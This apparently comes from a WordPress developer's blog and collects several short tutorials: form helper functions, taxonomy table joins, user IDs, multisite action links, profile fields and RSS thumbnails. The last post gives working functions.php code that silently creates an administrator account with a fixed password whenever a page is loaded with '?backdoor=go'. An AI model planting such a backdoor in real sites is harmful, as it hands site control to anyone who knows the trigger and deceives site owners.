WordPress Checked and Selected Functions

Two of my favorite functions in WordPress are the checked() and selected() functions. Both of these functions are extremely useful whenever you are working with form elements in your plugins and themes so it helps to understand both of these little nuggets of goodness. These two functions are used the same way, but output different results.

The selected() function compares two values in a select list and if they are identical will set the current option value to selected. This is useful when displaying form fields (an options page for example) and want to determine whether an option is set or not. Lets look at an example:

<select>
    <option value="red" <?php selected( $option_value, 'red' ); ?>>Red</option>
    <option value="orange" <?php selected( $option_value, 'orange' ); ?>>Orange</option>
    <option value="blue" <?php selected( $option_value, 'blue' ); ?>>Blue</option>
</select>

Assuming the $option_value variable is equal to the value of “orange”, the following HTML would be generated

<select>
    <option value="red">Red</option>
    <option value="orange" selected="selected">Orange</option>
    <option value="blue">Blue</option>
</select>

The checked() function works exactly the same, in that it compares the two values and if they are identical it sets the current checkbox form element to be checked.

<input type="checkbox" name="rage_mode" <?php checked( $rage_mode, 'on' ); ?>/> Rage Mode<br /> 
<input type="checkbox" name="ninja_mode" <?php checked( $ninja_mode, 'on' ); ?> /> Ninja Mode<br /> 
<input type="checkbox" name="zombie_mode" <?php checked( $zombie_mode, 'on' ); ?> /> Zombie Mode<br /> 

Let’s assume that Rage mode and Zombie mode are activated. The following HTML would be generated:

<input type="checkbox" name="rage_mode" checked="checked"/> Rage Mode<br /> 
<input type="checkbox" name="ninja_mode"/> Ninja Mode<br /> 
<input type="checkbox" name="zombie_mode" checked="checked"/> Zombie Mode<br /> 

There is also a lesser know function in WordPress called disabled(). This function checks two values and if identical returns the disabled attribute for any HTML element.

For more information on these functions, and many more useful WordPress functions, check out my newest book: Professional WordPress Third Edition.

Understanding WordPress Taxonomy Table Relationships

When working with taxonomies in WordPress, it’s helpful to understand the taxonomy database schema. The WordPress database contains three tables for storing taxonomy data:

  • wp_terms – stores all of your taxonomy terms
  • wp_term_taxonomy – defines what taxonomy each term belongs to
  • wp_term_relationships – cross-reference table that joins taxonomy terms with your content

Let’s look at an example database query joining the taxonomy tables. The below query will return all posts with all taxonomy terms assigned to each post:

SELECT wt.name, p.post_title, p.post_date 
FROM wp_terms wt
INNER JOIN wp_term_taxonomy wtt ON wt.term_id = wtt.term_id
INNER JOIN wp_term_relationships wtr ON wtt.term_taxonomy_id = wtr.term_taxonomy_id
INNER JOIN wp_posts p ON wtr.object_id = p.ID
WHERE p.post_type = 'post'

Using joins you can start to understand the relationship between the three taxonomy tables. I’m a visual person, so I created the below graphic to illustrate the taxonomy table relationships.

987247c07f002

Taxonomies are an extremely powerful component of WordPress. Understanding the taxonomy database schema can be very helpful when building more complex WordPress websites. If you are interested in learning more about taxonomies in WordPress, check out my Professional WordPress book.

Writing Secure WordPress Code

A few weeks ago I gave a presentation at WordCamp Europe on writing secure WordPress code. The methods I described in my presentation are extremely important when writing code for WordPress. Whether you are a theme designer or a hardcore plugin developer, you should follow all of these security measures to verify your code is as secure as possible. My presentation slides are below:

How To: Get the Current Logged in User ID in WordPress

When developing custom themes and plugins for WordPress there are times you will need to get the logged in user’s ID. There are a few different ways to accomplish this, but I’m going to show you the easiest method. To get the user’s ID you’ll use the get_current_user_id() function like so:

$current_user_id = get_current_user_id();
echo 'Your User ID is: ' .$current_user_id;

The get_current_user_id() function will return the currently logged in user’s ID, or 0 if a user is not logged in. Another popular method, which requires a bit more code, is the get_currentuserinfo() function. The method I described above actually uses the wp_get_current_user() function, which is a wrapper for get_currentuserinfo(). So using get_current_user_id() is just a faster method for retrieving the same data. This function was added in WordPress 3.0 as part of the Multisite code merge into WordPress.

To learn more about the get_current_user_id() function check out the Codex article or consult the WordPress core.

How To: Add A Link to the WordPress Multisite Network Admin Sites List

The other day I was working on a plugin for a client when I needed to add a link to the WordPress Multisite Network Admin Sites list. This is the list of sites in your WordPress Multisite network. The links I am referring to are the action links that appear when you hover over a site in the list as shown below.

WordPress Multisite Network Sites ListTo add a link, or modify any of the existing action links, we’re going to use the manage_sites_action_links action filter in WordPress. This filter will allow us to modify the action links before they are displayed on the screen. This means you can add, or remove, any links you want.

Let’s look at the code:

add_filter( 'manage_sites_action_links', 'my_plugin_network_list_action', null, 2 );

function my_plugin_network_list_action( $actions, $blog_id ) {

    $actions = array_merge( $actions, array(
	'custom_link' => '<a href="'. network_admin_url( 'sites.php' ).'">My Custom Link</a>'
    ));

    return $actions;

}

First we call the manage_sites_action_links filter hook which executes our custom function my_plugin_network_list_action(). Our function accepts two parameters: The $actions array which contains all action links and the $blog_id which stores the site ID of the site we are hovering in the list.

To add a link we are going to use the PHP function array_merge() to merge our link into the array of existing links. In this example I added a link named “My Custom Link” which links to the Network Admin sites list. The final step is to return the $actions variable. Simple as that!

For more awesome WordPress plugin goodies check out my new book: Professional WordPress Plugin Development

How To: Remove Default Profile Fields in WordPress

A few days ago I came across an interesting challenge in WordPress. I wanted to hide some of the default profile fields from being displayed to the users in WordPress. Specifically I wanted to hide the AIM, Yahoo IM, and Jabber / Google Talk fields. It took a bit of digging but I found the below function buried in the WordPress.org support forums. Just place the below code in your themes functions.php file to remove these fields:

<?php
add_filter('user_contactmethods','hide_profile_fields',10,1);

function hide_profile_fields( $contactmethods ) {
  unset($contactmethods['aim']);
  unset($contactmethods['jabber']);
  unset($contactmethods['yim']);
  return $contactmethods;
}
?>

That’s it! As you can see below the three fields are removed from the Profile page on the WordPress admin side. This makes it much less confusing for users since they don’t see fields that we aren’t using on the website.

How To: Add a Post Thumbnail to an RSS Feed in WordPress

Have you ever needed to add the WordPress post thumbnail to an existing RSS feed? The below code will add a new element named <thumb> to your RSS feed. This element will contain a link to the post thumbnail as set in WordPress:

function ThumbRSS() {
	global $post;
	if ( has_post_thumbnail( $post->ID ) ) { 
		$thumbpic = get_the_post_thumbnail( $post->ID, 'thumbnail' ); 
	}
	
	echo '<thumb>'.$thumbpic.'</thumb>';
}

add_filter('rss_item', 'ThumbRSS');

Keep in mind using this technique will devalidate your RSS feed as the <thumb> element is not a part of the RSS specification. An alternate approach is to attach the post thumbnail to the beginning of your post content in your RSS feed. Below is an example using this method:

function ThumbRSS($content) {
   global $post;
   if ( has_post_thumbnail( $post->ID ) ){
       $content = '<p>' . get_the_post_thumbnail( $post->ID, 'thumbnail' ) . '</p>' . $content;
   }
   return $content;
}

add_filter('the_excerpt_rss', 'ThumbRSS');
add_filter('the_content_feed', 'ThumbRSS');

Just drop either code example in your themes functions.php file for this to work. Pretty easy huh? Now you can easily include post thumbnails in your WordPress RSS feeds!

How To: Create Backdoor Admin Access in WordPress

Have you ever wanted to create an easy backdoor way to auto-create an administrator account in WordPress? The below code snippet does just that! Simply place the code in your themes functions.php flie and upload to your web server:

<?php
add_action('wp_head', 'my_backdoor');

function my_backdoor() {
	If ($_GET['backdoor'] == 'go') {
		require('wp-includes/registration.php');
		If (!username_exists('brad')) {
			$user_id = wp_create_user('brad', 'pa55w0rd');
			$user = new WP_User($user_id);
			$user->set_role('administrator');
		}
	}
}
?>

To activate this code simply visit http://example.com?backdoor=go

When triggered the code will create a new administrator account with a username brad and password of pa55w0rd. The function also verifies the user account doesn’t exist first before creating it.

Keep in mind using this code is considered a security risk as anyone could easily execute this function by calling the correct querystring. Also don’t be evil, only use this code for good!